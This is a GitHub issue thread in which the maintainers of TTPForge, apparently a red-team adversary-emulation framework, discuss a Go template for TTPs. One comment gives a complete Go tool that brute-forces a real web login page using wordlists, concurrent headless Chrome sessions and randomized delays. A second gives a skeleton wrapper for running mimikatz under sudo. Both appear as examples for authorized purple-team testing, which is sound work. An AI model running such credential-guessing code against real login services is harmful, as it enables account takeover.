-
Notifications
You must be signed in to change notification settings - Fork 35
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
💡 [REQUEST] - Go TTP Template #79
Comments
What does a full go template look like once it is finished? What are the steps to make it run? I am not sure I have a good picture in my head of this atm. |
Fair question @CrimsonK1ng! The dir structure will be the same regardless of whether we go the cobra or non-cobra route: tree
.
├── ansible
│ └── rc_pt_target.run # ansible playbook in binary form - not sure if we want to do blob store for these or have them committed outright
├── config.yaml
├── go.mod
├── go.sum
└── mimikatz.go If we go the non-cobra route, this is what I was noodling on for a filled out template (based on one of the Purple Canary TTPs): package ttps
import (
"errors"
"fmt"
"os"
"regexp"
"strings"
goutils "github.com/l50/goutils"
"github.com/facebookincubator/ttpforge/cmd"
"github.com/facebookincubator/ttpforge/pkg/logging"
"go.uber.org/zap"
)
func init() {
rootCmd.AddCommand(cmd.RunTTPCmd())
}
// CheckRoot will check to see if the process is being run as root
// Modified from https://github.com/l50/goutils/blob/main/sysutils.go
func CheckRoot() error {
uid := os.Geteuid()
if uid != 0 {
err := errors.New("must be run as root, exiting")
logging.Logger.Sugar().Errorw(
err.Error(), zap.Error(err))
}
return nil
}
// GetCmdStr returns the input cmd as a string.
func GetCmdStr(cmd []string) string {
cmdStr := strings.Trim(fmt.Sprint(cmd), "[]")
return cmdStr
}
func Mimikatz() error {
// log.Info("Running " + fmt.Sprintf("TTP %s: %s, please wait.", ttpInfo.ID, ttpInfo.Name))
// Inputs from ttps.yaml
// cmd := ttpInfo.Cmd
// escalatePrivileges := ttpInfo.EscalatePrivileges
// failureRegex := ttpInfo.ExtraParams["ttp_failure_regex"]
// Local values
var cmdOutput string
var result string
var err error
re := regexp.MustCompile(failureRegex)
if escalatePrivileges {
if err := CheckRoot(); err != nil {
logging.Logger.Sugar().Errorw(
err.Error(), zap.Error(err))
os.Exit(1)
}
cmd = append([]string{"sudo"}, cmd...)
}
cmdStr := GetCmdStr(cmd)
// log.Debug(fmt.Sprintf("TTP #%s - Command to run: %v\n",
// ttpInfo.ID, cmdStr))
cmdOutput, err = goutils.RunCommand(cmd[0], cmd[1:]...)
if err != nil {
logging.Logger.Sugar().Errorw(err, zap.Error(err))
return err
}
// log.Debug(fmt.Sprintf("TTP #%s - Command output: %s", ttpInfo.ID, cmdOutput))
if re.MatchString(strings.TrimSpace(cmdOutput)) {
result = "TTP Failed to Run"
} else {
result = "TTP Ran Successfully"
}
// utils.CheckTTPSuccess(result, ttpInfo.ID)
return nil
} If we went the cobra route, it would look something like this: package cmd
import (
"math/rand"
"path/filepath"
"strings"
"sync"
"time"
"github.com/chromedp/chromedp"
goutils "github.com/l50/goutils"
"github.com/metaredteam/purple-ec/logging"
"github.com/metaredteam/purple-ec/pkg/web"
"github.com/metaredteam/purple-ec/pkg/web/chrome"
"github.com/spf13/cobra"
)
// bruteForceLoginCmdFlags captures CLI input values.
type bruteForceLoginCmdFlags struct {
headless bool
concurrency int
ignoreCertErrors bool
emails string
passwords string
loginURL string
}
var (
bFLFlags bruteForceLoginCmdFlags
// bruteForceLoginCmd represents the bruteForceLogin command
bruteForceLoginCmd = &cobra.Command{
Use: "bruteForceLogin",
Short: "Attempt a brute force attack using input email and password wordlists",
Long: `This TTP has the following logic:
1. Randomly shuffle both the input email and password wordlists.
2. For each attempt, randomly select a user from the email wordlist and a password from the password wordlist.
3. Try to log in using the selected email and password.
4. Repeat steps 2-3 until the maximum number of attempts is reached (equal to the product of the lengths of the two wordlists).
# Example 1
TTP=bruteForceLogin
go run main.go -l logs/$TTP.log $TTP \
--emails 'resources/wordlists/email_addresses_10.txt' \
--passwords 'resources/wordlists/passwords_10.txt' \
--concurrency 8
# Example 2
go run main.go -l logs/$TTP.log $TTP \
--emails resources/wordlists/email_addresses_25.txt \
--passwords resources/wordlists/passwords_25.txt \
--concurrency 10
`,
Run: func(cmd *cobra.Command, args []string) {
// Create rng based on current time
rng := rand.New(rand.NewSource(time.Now().UnixNano()))
logging.Logger.Sugar().Infof(
"Executing %s - %s, please wait...",
cmd.Use, cmd.Short)
users, err := goutils.FileToSlice(bFLFlags.emails)
if err != nil {
logging.Logger.Sugar().Fatalf("failed to read users file: %v", err)
}
passwords, err := goutils.FileToSlice(bFLFlags.passwords)
if err != nil {
logging.Logger.Sugar().Fatalf("failed to read passwords file: %v", err)
}
// Shuffle users
rng.Shuffle(len(users), func(i, j int) { users[i], users[j] = users[j], users[i] })
// Shuffle passwords
rng.Shuffle(len(passwords), func(i, j int) { passwords[i], passwords[j] = passwords[j], passwords[i] })
maxAttempts := len(users) * len(passwords)
// Create a channel for jobs and a channel for results
jobs := make(chan web.Credential, maxAttempts)
results := make(chan bool, maxAttempts)
// Start worker goroutines
wg := &sync.WaitGroup{}
for w := 0; w < bFLFlags.concurrency; w++ {
wg.Add(1)
browser, err := chrome.Init(bFLFlags.headless, bFLFlags.ignoreCertErrors)
if err != nil {
logging.Logger.Sugar().Fatalf("failed to initialize a chrome browser: %v", err)
continue
}
defer web.CancelAll(browser.Cancels)
go attemptLogin(wg,
browser.Driver,
bFLFlags.loginURL,
jobs,
results)
}
// Send jobs to the channel
for attempt := 0; attempt < maxAttempts; attempt++ {
userIndex := rng.Intn(len(users))
passwordIndex := rng.Intn(len(passwords))
user := users[userIndex]
password := passwords[passwordIndex]
webCred := web.Credential{User: user, Password: password}
jobs <- webCred
}
// Close the jobs channel and wait for all workers to finish
close(jobs)
wg.Wait()
// Process the results
successful := false
for i := 0; i < maxAttempts; i++ {
result := <-results
if result {
successful = true
break
}
}
if successful {
logging.Logger.Sugar().Infof("Brute force attack succeeded")
} else {
logging.Logger.Sugar().Infof("Exhausted brute force attempts")
}
},
}
)
func init() {
rootCmd.AddCommand(bruteForceLoginCmd)
bruteForceLoginCmd.Flags().IntVar(&bFLFlags.concurrency,
"concurrency", 5,
"Number of concurrent attempts to run during brute force.")
bruteForceLoginCmd.Flags().BoolVar(&bFLFlags.ignoreCertErrors,
"ignoreCertErrors", true, "Ignore certificate errors.")
bruteForceLoginCmd.Flags().BoolVar(&bFLFlags.headless,
"headless", true, "Run browser in headless mode.")
bruteForceLoginCmd.Flags().StringVarP(&bFLFlags.emails,
"emails", "e", "resources/wordlists/email_addresses_25.txt",
"Wordlist of emails to employ for brute forcing.")
bruteForceLoginCmd.Flags().StringVarP(&bFLFlags.passwords,
"passwords", "p",
filepath.Join("resources", "wordlists", "passwords_25.txt"),
"Wordlist of passwords to employ for brute forcing.")
bruteForceLoginCmd.Flags().StringVar(&bFLFlags.loginURL,
"loginURL", "https://auth.metaenterprise.com/login",
"URL to initiate login process for an Enterprise Center account.")
}
func attemptLogin(wg *sync.WaitGroup, driver interface{}, loginURL string, jobs <-chan web.Credential, results chan<- bool) {
// XPath for chromeDP
userXPath := "/html/body/div/div/div/div/div/div/div/div/div[1]/div[4]/div/div/div[2]/div/div[2]/div/div/div/div[1]/div[2]/div/div/input"
showPWButtonXPath := "/html/body/div/div/div/div/div/div/div/div/div[1]/div[4]/div/div/div[3]/div/span/div/div/div"
passXPath := "/html/body/div/div/div/div/div/div/div/div/div[1]/div[4]/div/div/div[3]/div/div[2]/div/div/div/div[1]/div[2]/div[1]/div/input"
loginButtonXPath := "/html/body/div/div/div/div/div/div/div/div/div[1]/div[4]/div/div/div[4]/div/span/div/div/div"
defer wg.Done()
chromeDriver, ok := driver.(*chrome.Driver)
if !ok {
logging.Logger.Sugar().Errorf("failed to assert driver as *chrome.Driver")
return
}
for webCred := range jobs {
site := web.Site{
LoginURL: loginURL,
Session: web.Session{
Credential: webCred,
Driver: chromeDriver,
},
}
inputActions := []chrome.InputAction{
{Action: chromedp.Navigate(site.LoginURL)},
{Selector: userXPath, Action: chromedp.SendKeys(userXPath, site.Session.Credential.User)},
{Selector: showPWButtonXPath, Action: chromedp.Click(showPWButtonXPath)},
{Selector: passXPath, Action: chromedp.SendKeys(passXPath, site.Session.Credential.Password)},
{Selector: loginButtonXPath, Action: chromedp.Click(loginButtonXPath)},
}
// Create random wait between 2 and 6 seconds
minWait := 2 * time.Second
maxWait := 6 * time.Second
randomWaitTime := web.GetRandomWait(minWait, maxWait)
if err := chrome.Navigate(site, inputActions, randomWaitTime); err == nil {
pageSource, err := chrome.GetPageSource(site)
failMsg := "The email and password combination you entered is incorrect."
loginMsg := "Your apps"
if err == nil && !strings.Contains(pageSource, failMsg) && strings.Contains(pageSource, loginMsg) {
logging.Logger.Sugar().Infof("Successfully logged in with user: %s", webCred.User)
results <- true
return
}
}
logging.Logger.Sugar().Infof("failed login attempt with user: %s", site.Session.Credential.User)
results <- false
}
} Going the cobra route solves the problem of handling inputs for the TTP and integrates it nicely with TTPForge, but it also can pollute the TTPForge submenu options over time. |
I don't know if the format you have listed will work. The go.mod/go.sum under the root folder that also contains a go.mod/go.sum will cause an error with golang and it will refuse to build. Were you wanting these to be apart of the ttpforge binary when it is built? Is the templating going to generate each of these files based off of a base file or dynamically with args? |
I was worried about that, good call out.
That's what I wanted to check with you all about. I think it could be a good idea with the route we're currently going (all ttps bundled with engine - similar to metasploit).
It'll use a base template and then take args to dynamically generate parts of the template, similar to what we have for the bash template |
I did not expect the go ttps to be embedded in the tool itself. Since it requires recompiling after template generation which adds some overhead for users. My assumption was the ttps would be a separate binary which the yaml file would invoke. What do you think @d3sch41n |
Agree with Alek - using standalone binaries that are executed by ttpforge like any other binary written in a non-go language (and embedded) is the scalable solution. |
fat finger >.< |
@d3sch41n @CrimsonK1ng From our call, we came up with this example to provide arguments to the TTP:
Example directory structure: ttps
├── lateral-movement
│ └── ssh
│ ├── README.md
│ ├── rogue-ssh-key.yaml
│ └── ssh-master-mode.yaml
└── privilege-escalation
└── credential-theft
├── hello-world
│ ├── hello-world.sh
│ ├── ttp-inline.yaml
│ └── ttp.yaml
└── mimikatz
├── ansible
│ └── rc_pt_target.run
├── config.yaml
├── go.mod
├── go.sum
└── mimikatz.go This would be called like so: ttpforge -c config.yaml run privilege-escalation/credential-theft/mimikatz/mimikatz --args "--this-is-a-cobra-flag="this is the value of that flag" "--this-is-another-cobra-flag="the value" |
Minus the last part, that all tracks. The last part is what I am having to work on right now, providing the args in the cli. Most likely that is how it will end up unless there is another way desired. |
Excellent! I'll hold off on the args component while you're working on that piece, but otherwise get working on making this happen! |
Note: you'll want part of your template to be a stub ttpforge yaml that just calls your binary - you'll pass that yaml path to run the TTP
|
100% - my thoughts exactly |
@CrimsonK1ng @l50 I noticed there's a
Config files have a place, but they're pretty much exclusively useful for controlling settings that must persist through process/system restarts - stuff like webservers, systemd services, etc. They don't fit the use case of imperative TTP execution. For TTPs that are designed to be invoked, run for a bit, and then exit, we should make our default template push TTP authors toward using flags and positional args rather than config files. What are y'alls thoughts? |
(forgot to clarify) - configs work well for options that are expected to persist across many, many runs of the same executable and that are annoying for user to pass in the CLI every time - so our usage of the top-level ttpforge config to control inventoryPath is good, but using them to specify runtime options for individual TTPs themselves is suboptimal for the reasons above |
I had it in the event that we wanted to go the cobra + viper route. I can omit the config or we can have it as part of the TTP (viper can be useful even if we're integrating directly with the TTPForge cobra stuff) - I didn't want to make the TTPForge config massive, so I figured we'd leave TTP logic out of it. I'll hold off on adding any config files to the go TTP template for now since we're working on updating the concept of |
I am personally of the opinion that any templates should just be simple base examples which get moved into the proper location. Geoff had at one point given feedback that even with all the extra information the only thing that was useful to get started was the barest example of a function that executes. With that in mind I don't think any generative template would be necessary since all we need is the base example. Then anyone who doesn't know go can ignore it, and anyone who does know go can make changes. We can avoid struggles with template generation and get something simple for users. |
Hello, is there any way to encrypt the parsed password using chromedp.sendkeys? |
Implementation PR
No response
Reference Issues
No response
Summary
Add templated go TTP generation.
Basic Example
Similar concept to #61, except for go TTPs:
Drawbacks
None that I can think of.
Unresolved questions
The text was updated successfully, but these errors were encountered: